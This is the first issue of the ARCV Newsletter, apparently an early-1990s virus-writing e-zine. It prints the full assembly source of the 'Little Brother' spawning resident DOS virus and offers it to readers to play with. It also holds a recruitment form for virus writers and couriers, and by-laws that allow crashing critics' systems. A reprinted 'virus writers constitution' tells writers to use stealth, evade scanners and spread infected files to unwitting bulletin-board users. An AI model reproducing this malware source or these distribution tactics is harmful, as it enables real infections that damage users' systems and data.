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Welcome to the first ARCV Newsletter....
We hope you are all having a Spiffing Time out there....
First lets introduce the 'Team'.
The Keyboard Basher - Apache Warrior.
The Other One - ICE-9.
Well you may or may not know that we here are one the only Truly
English Computer Underground Organisation (And just to piss off the
Americans Out there we will spell everything with an 's' not a 'z').
In this and future newsletters we will be dodging Special Branch and
New Scotland Yard as we go, as well as putting in the odd virus ASM
file, Debug Dump for you all to have fun with. We will also provide
information on what's happening (DUDE) out there in Computer Land.
Contents.
000..........................................................Contents.
001...................................Virus Spotlight, Little Brother.
002............................................ARCV Application Forms.
003.........................What is The ARCV, and Who are its Members.
004.....................................................Ontario Virus.
005......................................................Sunday Virus.
006...........................................................Closing.
The file in the Archive ARCVVIR.COM is a self displaying List of all
the ARCV Viruses we have produced. (Requires ANSI.SYS)
Greetings...To
The Guy Who Wrote CHAOS - Thanks Bud
The Guy Who Wrote FU MANCHU - Are you English?
Patti 'VSUM' Hoffman - We are here to make your Life HELL!
John McAfee - To Think if wasn't for us you'd be Unemployed
The Guy Who Wrote MICHELANGELO - Geta LIFE!!!!!!!!!!!!!
Terry Pratchett - You Are COOOOOOOOL!
And Are Carnivorous Plants Really that Boring?
ARCV NEWS 001.
- Virus Spotlight -
Little Brother.
Now this virus, is rather crafty as is relies on good old MSDOS
program handling to work, ie. The Fact that .COM files are allways load
before .EXE files. First lets see what Patti has to say.
Virus Name: Little Brother
Aliases:
V Status: Rare
Discovered: October, 1991
Symptoms: 307 byte .COM files
Origin: The Netherlands
Eff Length: 307 Bytes
Type Code: SRCE - Spawning Resident .EXE Infector
Detection Method: ViruScan, AVTK 5.54+, F-Prot 2.03+, Novi 1.1d+
Removal Instructions: Delete infected .COM programs
General Comments:
The Little Brother virus was submitted from the Netherlands in
October, 1991. This virus is a spawning virus similar in technique to the
Aids 2 and Twin-351 viruses.
The first time a program infected with Little Brother is executed,
Little Brother will become memory resident in a "hole" in low system memory
in the system data area, hooking interrupt 21. There will be no change in
total system or available free memory.
Once resident, the Little Brother virus will infect .EXE programs when
they are executed. The .EXE program itself will not be altered, but a
corresponding .COM program will be created by the virus of 307 bytes. This
corresponding.COM program will contain pure virus code and have a date/time
stamp in the DOS directory of when it was created. The following text
strings can be found in the 307 byte .COM files:
"Little Brother"
"EXE COM"
Since DOS will execute .COM programs before .EXE programs, whenever
the user attempts to execute a .EXE program, the corresponding .COM program
will be executed first. The .COM program, when finished will then start
the .EXE program the user was attempting to execute.
Well lets get to the Asm source.
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cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
FILELEN equ quit - begin
RESPAR equ (FILELEN/16) + 17
VER_ION equ 1
oi21 equ quit
nameptr equ quit+4
DTA equ quit+8
.RADIX 16
;**************************************************************************
;* Start the program!
;**************************************************************************
begin: cld
mov ax,0DEDEh ;already installed?
int 21h
cmp ah,041h
je cancel
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
movsw
movsw
push es ;set vector to new handler
pop ds
mov dx,offset ni21
mov ax,2521h
int 21h
cancel: ret
;**************************************************************************
;* File-extensions
;**************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;**************************************************************************
;* Interupt handler 24
;**************************************************************************
ni24: mov al,03
iret
;**************************************************************************
;* Interupt handler 21
;**************************************************************************
ni21: pushf
cmp ax,0DEDEh ;install-check ?
je do_DEDE
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
do_DEDE: mov ax,04100h+VER_ION ;return a signature
popf
iret
;**************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;**************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the
;filename
mov word ptr cs:[nameptr+2],ds
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint
mov si,offset EXE_txt ;is extension 'EXE'?
mov cx,3
rep cmpsb
jnz do_com
do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
xor dl,dl ;clear the flag
mov ax,3301h
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ax,2524h
int 21
lds dx,dword ptr [nameptr] ;create the file (unique
;name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the file
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;delete the file
mov ah,41h
int 21
return1: pop ds ;restore int24 vector
pop dx
mov ax,2524h
int 21
pop dx ;restore ctrl-break flag
mov ax,3301h
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext
return: ret
do_com: call findfirst ;is the file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return
mov si,offset EXE_txt ;does the EXE-variant
exist?
call change_ext
call findfirst
jnc return
mov si,offset COM_txt ;change extension to COM
jmp short change_ext
;**************************************************************************
;* Find the file
;**************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;**************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;**************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;**************************************************************************
;* search begin of extension
;**************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,'.'
repnz scasb
ret
;**************************************************************************
;* Text and Signature
;**************************************************************************
db 'Little Brother',0
quit:
cseg ends
end begin
Quite a Simple idea for a virus but it works.
Apche.ARCV NEWS 002.
Well I thought it could be a good idea if I put in the relevant ARCV
Application forms for any one who may wish to join the ranks of the ARCV.
At the moment we are looking for MAC Virus programmers, and AMIGA Virus
Programmers and others. Also we are looking Couriers for the ARCV (BBS's
for Distribution), that are based all over the world in Britain, USA and
Eastern Europe Mainly but other countries will get equal consideration. so
less of the waffle and to the Applications.
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THE
ASSOCIATION
OF REALLY
CRUEL
VIRUSES
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The Association of Really Cruel Viruses
Courier and/or Membership Application Form
For any purpose other than to evaluate this application, the data in all
sections of this application shall not be disclosed outside the internal
leadership of the ARCV. For more ARCV information please see ARCV
prologue.
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FALSE STATEMENT: A person is guilty of False Statement when he/she
Intentionally makes a false statement under oath or
pursuant to a form bearing Notice.
You are here to fore-warned...
FALSE STATEMENTS SHALL NOT BE MADE ON THIS FORM!!!
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PART A: Background Information
1. Date of Application:__________________________________
2. Applicants Name (Last,First,Middle,Maiden):
______________________________________________________
3. Applicants Current Handle:____________________________
4. List all other Handles by which you have been known.
______________________________________________________
______________________________________________________
5. Residence Address (Number,Street,City or Town,County and Post Code):
_______________________________________________________
_______________________________________________________
_______________________________________________________
6. Home Telephone Number (Area Code and Number):
_______________________________________________________
7. Home Data Number (Area Code and Number):
_______________________________________________________
8. Fidonet Contact address (full address, including name to contact):
_______________________________________________________
_______________________________________________________
9. Age:__________ Date of Birth:_________________________
10. Marital Status: ___ Married ___ Separated
___ Single ___ Divorced
11. Nationality __________________________________________
12. Have you at any time used a virus? YES/NO ____________
If Yes, explain: _____________________________________
______________________________________________________
______________________________________________________
13. Have you at any time been the victim of a virus attack?
YES/NO _________________
If yes, explain: _____________________________________
______________________________________________________
______________________________________________________
Part B: Legal Information
1. Have You ever been convicted in any court of a crime
punishable by imprisonment for a term exceeding 1 year?
No _____
Yes ____ If yes, explain: _____________________________
_______________________________________________________
_______________________________________________________
2. Are you currently on Probation,Parole,a Work-Release Program
or Released on Personal Recognizance or Bond Pending Court Action?
No _____
Yes ____ If yes, explain: ______________________________
_______________________________________________________
_______________________________________________________
3. Are you Now or ever have been a member of any form of
Law Enforcement Agency, Such as: FBI,Secret Service,NSA,
CIA,BATF,State or Local Police,Special Branch etc.?
No _____
Yes ____ If yes, explain: _____________________________
_______________________________________________________
_______________________________________________________
4. Are you Now or ever have been a member of any form of
group that investigates the Computer Underground?
Such as: Software Publishers Association,etc.
No _____
Yes ____ If yes, explain: _____________________________
_______________________________________________________
_______________________________________________________
5. Do you belong To any Organized Computer Club or Group?
No _____
Yes ____ If yes, explain: _____________________________
_______________________________________________________
_______________________________________________________
Part C: ARCV Information
1. Are you applying to be:
An ARCV Member __________
An ARCV Courier __________
Both __________
2. If applying to be a member, Explain in detail your reason for wanting
to be a member of the ARCV.
_____________________________________________________________________
_____________________________________________________________________
_____________________________________________________________________
_____________________________________________________________________
_____________________________________________________________________
_____________________________________________________________________
_____________________________________________________________________
_____________________________________________________________________
_____________________________________________________________________
_____________________________________________________________________
3. What kind of position do you wish to hold in the ARCV?
____________________________________________________________________
____________________________________________________________________
____________________________________________________________________
Part D: Qualifications
1. Which Programming languages do you know WELL? (Place X in Boxes)
[ ] Assembler
[ ] Basic
[ ] Cobol
[ ] C (Turbo, Ansi)
[ ] Fortran
[ ] Pascal (Turbo, Others)
2. Which Programming languages are you familiar which (Place x in Boxes)
[ ] Assembler
[ ] Basic
[ ] Cobol
[ ] C (Turbo, Ansi)
[ ] Fortran
[ ] Pascal (Turbo, Others)
3. Have you ever written a virus? (No Trojans Please)
No _______
Yes ______ If yes, explain: ___________________________
_______________________________________________________
_______________________________________________________
_______________________________________________________
4. If you answered NO to the above DON'T answer this...
Has the virus you've written in the Public Domain?
(ie. Is it released?)
No _______
Yes ______ If yes, explain: ___________________________
_______________________________________________________
_______________________________________________________
_______________________________________________________
5. If you've written a virus are you willing for it to be placed in our
virus library?
No _______
Yes ______
6. Do you have a virus collection?
No _______
Yes ______ If yes, explain (Please included number in collection)
_______________________________________________________
_______________________________________________________
_______________________________________________________
________________________________________________________
ARCV By-Laws:
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Section 1A-1
ALL MEMBERS OF THE ARCV MUST SUBSCRIBE TO THE HACKERS ETHIC AS DEFINED
BY THE EARLY CRAFTERS OF THE ART. (See Appendix A) ALSO YOU MUST SUBSCRIBE
TO THE VIRUS WRITERS CONSTITUTION. (See Appendix B)
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Section 1a-2
DEFENSE OF COPARTICIPANTS IN OFFENSE WITH A COMPUTER
In any prosecution for any Crime under Law, in which the member was not
the only participant, it shall be recognized that no ARCV
member shall provide information on any current ARCV member to any
member of the Media or Law Enforcement Agencies.
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Section 1a-3
USE OF DEADLY HACKING FORCE
Except as provided in these sub-sections, No ARCV member shall ever damage
delete or in any way tamper with a computer network or system.
Exception 1a-3-1 : Any BBS or system posting or providing Anti-ARCV
propaganda may be crashed or deleted.
Exception 1a-3-2 : Any BBS or system posting or providing any ARCV members
phone numbers,Password, or personal information may be
crashed or deleted.
Exception 1a-3-3 : Any system so approved by the ARCV Council.
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Section 1a-4
DISCLOSURE OF PROPRIETARY INFORMATION
No ARCV member shall distribute confidential ARCV information.
This shall include: Disks,Programs,Files,Passwords or Codes,Paperwork,
Manuals,Documents to any Non ARCV member,Media Member, or Law Enforcement
Agency, Without the prior permission of the ARCV Council.
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Section 1a-5
CONTRIBUTION OF INFORMATION
All ARCV Members are expected to contribute to the ARCV as a whole, and
to provide information obtained on their own. Members shall not just
use information provided by other members or non-members.
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Section 1a-6
DISCLOSURE OF MEMBERSHIP
All ARCV members will not allow any Non-member to use his/her password,
ID,Handle or name. And No member shall post or provide any members name
password or phone number on any computer system without the prior consent
of said member. All members will leave his/her name or phone number on a
system or network at their own discretion and risk.
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APPENDIX A:
1. All Information should be FREE!
2. Promote Decentralization - Mistrust Authority
3. Access to computers should be unlimited and Total
4. Hackers should be judged by their hacking ability
5. You can create art and beauty on a computer
6. Computers can change your life for the better.
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APPENDIX B: ***
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The Constitution of Worldwide Virus Writers
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Initial Release - February 12, 1992
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ARTICLE I - REGARDING ORIGINAL VIRII
Section A - DEFINITION
The term "original virus" herein indicates programming done
exclusively by either one individual or group, with no code
taken from any other source, be it a book or another virus.
Section B - CODE REQUIREMENTS
For an original virus to conform to the standards set by
this document, it must include the following:
1) The title of the virus in square brackets followed by a
zero byte should be in the code, in a form suitable for
inclusion into SCAN(1). This is to ensure that the
name of the virus is known to those examining it.
2) The name of the author and his/her group affiliation/s
should be included in the code, followed by a zero
byte. At the present, this is an optional requirement.
3) Some form of encryption or other form of stealth
techniques must be used. Even a simple XOR routine
will suffice.
4) If the virus infects files, the code should be able to
handle infection of read only files.
5) It must have some feature to distinguish it from other
virii. Creativity is encouraged above all else.
6) The virus must not be detectable by SCAN.
Section C - IMPLEMENTATION
This section, and all sections hereafter bearing the heading
"IMPLEMENTATION" refer to the recommended method of
implementation of the suggestions/requirements listed in the
current article.
1) Virus_Name db '[Avocado]',0
2) Author db 'Dark Angel, PHALCON/SKISM',0
ARTICLE II - REGARDING "HACKED" VIRII
Section A - DEFINITION
The term "hacked virus" herein refers to any virus written
by either one individual or a group which includes code
taken from any other source, be it a book, a code fragment,
or the entire source code from another virus.
The term "source virus" herein refers to the virus which
spawned the "hacked virus."
Section B - CODE REQUIREMENTS
For a "hacked" virus to conform to the standards set forth
by this document, it must include the following, in addition
to all the requirements set down in Article I of this
document:
1) The title, author (if available), and affiliation of
the author (if available) of the original virus.
2) The author of the hacked virus must give the source
code of said virus to the author of the source virus
upon demand.
3) No more Jerusalem, Burger, Vienna, Stoned, and Dark
Avenger hacks are to be written.
4) The source virus must be improved in some manner
(generally in efficiency of speed or size).
5) The hacked virus must significantly differ from the
source virus, i.e. it cannot be simply a text change.
Section C - IMPLEMENTATION
1) Credit db 'Source stolen from Avocado by Dark Angel of
PHALCON/SKISM',0
ARTICLE III - REGARDING VIRAL STRAINS
Section A - DEFINITION
The term "viral strain" herein refers to any virus written
by the original author which does not significantly differ
from the original. It generally implies a shrinking in code
size, although this is not required.
Section B - CODE REQUIREMENTS
For a "viral strain" to conform to the standards set by this
document, it must include the following, in addition to all
the requirements set down in Article I of this document:
1) The name of the virus shall be denoted by the name of
the original virus followed by a dash and the version
letter.
2) The name of the virus must not change from that of the
original strain.
3) A maximum of two strains of the virus can be written.
Section C - IMPLEMENTATION
1) Virus_Name db '[Avocado-B]',0
ARTICLE IV - DISTRIBUTION
Section A - DEFINITION
The term "distribution" herein refers to the transport of
the virus through an infected file to the medium of storage
of a third (unwitting) party.
Section B - INFECTION MEDIUM
The distributor shall infect a file with the virus before
uploading. Suggested files include:
1) Newly released utility programs.
2) "Hacked" versions of popular anti-viral software, i.e.
the version number should be changed, but little else.
3) Beta versions of any program.
The infected file, which must actually do something useful,
will then be uploaded to a board. The following boards are
fair game:
1) PD Boards
2) Lamer boards
3) Boards where the sysop is a dick
No virus shall ever be uploaded, especially by the author,
directly to an antivirus board, such as HomeBase or
Excalibur.
Section C - BINARY AND SOURCE CODE AVAILABILITY
The binary of the virus shall not be made available until at
least two weeks after the initial (illicit) distribution of
the virus. Further, the source code, which need not be made
available, cannot be released until the latest version of
SCAN detects the virus. The source code, should it be made
available, should be written in English.
Section D - DOCUMENTATION
Documentation can be included with the archive containing
the binary of the virus, although this is optional. The
author should include information about the virus suitable
for inclusion in the header of VSUM(2). A simple
description will follow, though the author need not reveal
any "hidden features" of the virus. Note this serves two
purposes:
1) Enable others to effectively spread the virus without
fear of self-infection.
2) Ensure that your virus gets a proper listing in VSUM.
ARTICLE V - AMENDMENTS
Section A - PROCEDURE
To propose an amendment, you must first contact a
PHALCON/SKISM member through one of our member boards.
Leave a message to one of us explaining the proposed change.
It will then be considered for inclusion. A new copy of the
Constitution will then be drafted and placed on member
boards under the filename "PS-CONST.TXT" available for free
download by all virus writers. Additionally, an updated
version of the constitution will be published periodically
in our newsletter.
Section B - AMENDMENTS
None as of this writing.
ARTICLE VI - MISCELLANEOUS
Section A - WHO YOU CAN MAKE FUN OF
This is a list of people who, over the past few years, have
proved themselves to be inept and open to ridicule.
1) Ross M. Greenberg, author of FluShot+
2) Patricia (What's VSUM?) Hoffman.
2) People who post "I am infected by Jerusalem, what do I
do?" or "I have 20 virii, let's trade!"
3) People who don't know the difference between a virus
and a trojan.
4) Lamers and "microwares puppies"
Section B - WHO YOU SHOULDN'T DIS TOO BADLY
This is a list of people who, over the past few years, have
proved themselves to be somewhat less inept and open to
ridicule than most.
1) John McAfee, nonauthor of SCAN
2) Dennis, true author of SCAN
Section C - MOTIVATION
In most cases, the motivation for writing a virus should not
be the pleasure of seeing someone else's system trashed, but
to test one's programming abilities.
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1 SCAN is a registered trademark of McAfee Associates.
2 VSUM is a registered trademark of that bitch who doesn't know her own
name.
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For those applying for courier membership if we feel you are suitable we
will be in touch to discus the extra details. The usual first contact
will be by means of a Fidonet address or a written letter.
For those applying for normal membership then will contact you at your
Fidonet address, with the extra details of the membership and a list of
board that's we can be contacted through.
___________________________________________________________________________
FALSE STATEMENT: A person is guilty of False Statement when he/she
Intentionally makes a false statement under oath or
pursuant to a form bearing Notice.
You are here to fore-warned...
FALSE STATEMENTS SHALL NOT BE MADE ON THIS FORM!!!
I agree to the By-Laws and statements put forth on this document
NAME: _______________________________
DATE: _______________________________
To return your Application please return to Apache Warrior. Through E-
Mail on any Flashback BBS or the BBS where you got this from.
Please fill in the Machine Configuration data sheet and return to the
above address.